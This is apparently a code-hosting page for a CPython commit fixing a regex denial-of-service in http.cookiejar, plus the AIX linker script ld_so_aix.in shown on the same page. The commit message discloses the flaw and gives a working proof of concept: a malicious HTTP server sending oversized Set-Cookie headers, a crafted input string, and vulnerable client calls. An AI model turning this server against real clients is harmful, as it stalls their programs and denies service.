Staging
v0.5.1
v0.5.1
Revision cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC, committed by GitHub on 22 November 2019, 14:42:13 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) GH- Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 GH- Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): GH- Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)
Co-authored-by: bcaller <bcaller@users.noreply.github.com> 1 parent d4d7920
ld_so_aix.in
#!/bin/sh
#
# ========================================================================
# FILE: ld_so_aix
# TYPE: executable, uses makexp_aix
# SYSTEM: AIX
#
# DESCRIPTION: Creates a shareable .o from a set of pre-compiled
# (unshared) .o files
#
# USAGE: ld_so_aix [CC] [arguments]
#
# ARGUMENTS: Same as for "ld". The following arguments are processed
# or supplied by this script (those marked with an asterisk
# can be overridden from command line):
#
# Argument Default value
# (*) -o [OutputFileName] -o shr.o
# (*) -e [EntryPointLabel] -e init[OutputBaseName]
# (*) -bE:[ExportFile] -bE:[OutputBaseName].exp
# (*) -bI:[ImportFile] -bI:./python.exp
# -bM:[ModuleType] -bM:SRE
# -bhalt:[Number] -bhalt:4
# -T[Number] -T512
# -H[Number] -H512
# -lm
#
# The compiler specific ("-lc" or "-lc_r", "-lpthreads",...)
# arguments will be automatically passed to "ld" according
# to the CC command provided as a first argument to this
# script. Usually, the same CC command was used to produce
# the pre-compiled .o file(s).
#
# NOTES: 1. Since "ld_so_aix" was originally written for building
# shared modules for the Python interpreter, the -e and
# -bI default values match Python's conventions. In
# Python, the entry point for a shared module is based
# on the module's name (e.g., the "mathmodule" will
# expect an entry point of "initmath").
# 2. The script accepts multiple .o or .a input files and
# creates a single (shared) output file. The export list
# that is created is based on the output file's basename
# with the suffix ".exp".
# 3. The resulting shared object file is left in the
# current directory.
# 4. Uncommenting the "echo" lines gives detailed output
# about the commands executed in the script.
#
#
# HISTORY: Oct-1996 -- Support added for multiple .o files --
# -- and optional arguments processing. --
# Chris Myers (myers@tc.cornell.edu), Keith Kwok
# (kkwok@tc.cornell.edu) and Vladimir Marangozov
#
# Aug-6-1996 -- Take care of the compiler specific --
# -- args by leaving CC to invoke "ld". --
# Vladimir Marangozov
#
# Jul-1-1996 -- Make sure to use /usr/ccs/bin/ld --
# -- Use makexp_aix for the export list. --
# Vladimir Marangozov (Vladimir.Marangozov@imag.fr)
#
# Manus Hand (mhand@csn.net) -- Initial code -- 6/24/96
# ========================================================================
#
usage="Usage: ld_so_aix [CC command] [ld arguments]"
if test ! -n "$*"; then
echo $usage; exit 2
fi
makexp=`dirname $0`/makexp_aix
test -x "${makexp}" || makexp="@abs_srcdir@/makexp_aix"
# Check for existence of compiler.
CC=$1; shift
whichcc=`which $CC`
if test ! -x "$whichcc"; then
echo "ld_so_aix: Compiler '$CC' not found; exiting."
exit 2
fi
if test ! -n "$*"; then
echo $usage; exit 2
fi
# Default import file for Python
# Can be overridden by providing a -bI: argument.
impfile="./python.exp"
# Parse arguments
while test -n "$1"
do
case "$1" in
-e | -Wl,-e)
if test -z "$2"; then
echo "ld_so_aix: The -e flag needs a parameter; exiting."; exit 2
else
shift; entry=$1
fi
;;
-e* | -Wl,-e*)
entry=`echo $1 | sed -e "s/-Wl,//" -e "s/-e//"`
;;
-o)
if test -z "$2"; then
echo "ld_so_aix: The -o flag needs a parameter; exiting."; exit 2
else
shift; objfile=$1
fi
;;
-o*)
objfile=`echo $1 | sed "s/-o//"`
;;
-bI:* | -Wl,-bI:*)
impfile=`echo $1 | sed -e "s/-Wl,//" -e "s/-bI://"`
;;
-bE:* | -Wl,-bE:*)
expfile=`echo $1 | sed -e "s/-Wl,//" -e "s/-bE://"`
;;
*.o | *.a)
objs="$objs $1"
args="$args $1"
;;
-bM:* | -Wl,-bM:* | -H* | -Wl,-H* | -T* | -Wl,-T* | -lm)
;;
*)
args="$args $1"
;;
esac
shift
done
if test "$objfile" = "libpython@VERSION@@ABIFLAGS@.so"; then
ldsocoremode="true"
fi
if test -z "$objs"; then
echo "ld_so_aix: No input files; exiting."
exit 2
elif test ! -r "$impfile" -a -z "$ldsocoremode"; then
echo "ld_so_aix: Import file '$impfile' not found or not readable; exiting."
exit 2
fi
# If -o wasn't specified, assume "-o shr.o"
if test -z "$objfile"; then
objfile=shr.o
fi
filename=`basename $objfile | sed "s/\.[^.]*$//"`
# If -bE: wasn't specified, assume "-bE:$filename.exp"
if test -z "$expfile"; then
expfile="$filename.exp"
fi
# Default entry symbol for Python modules = init[modulename]
# Can be overridden by providing a -e argument.
if test -z "$entry"; then
entry=PyInit_`echo $filename | sed "s/module.*//"`
fi
#echo "ld_so_aix: Debug info section"
#echo " -> output file : $objfile"
#echo " -> import file : $impfile"
#echo " -> export file : $expfile"
#echo " -> entry point : $entry"
#echo " -> object files: $objs"
#echo " -> CC arguments: $args"
if test -z "$ldsocoremode"; then
CCOPT="-Wl,-e$entry -Wl,-bE:$expfile -Wl,-bI:$impfile -Wl,-bhalt:4"
else
CCOPT="-Wl,-bnoentry -Wl,-bE:$expfile -Wl,-bhalt:4"
fi
CCOPT="$CCOPT -Wl,-bM:SRE -Wl,-T512 -Wl,-H512 -Wl,-brtl -Wl,-bnortllib -lm -o $objfile"
CCARGS="$args"
# Export list generation.
#echo $makexp $expfile "$objfile" $objs
$makexp $expfile "$objfile" $objs
# Perform the link.
#echo $CC $CCOPT $CCARGS
$CC $CCOPT $CCARGS
retval=$?
# Delete the module's export list file.
# Comment this line if you need it.
rm -f $expfile
exit $retval
Computing file changes ...
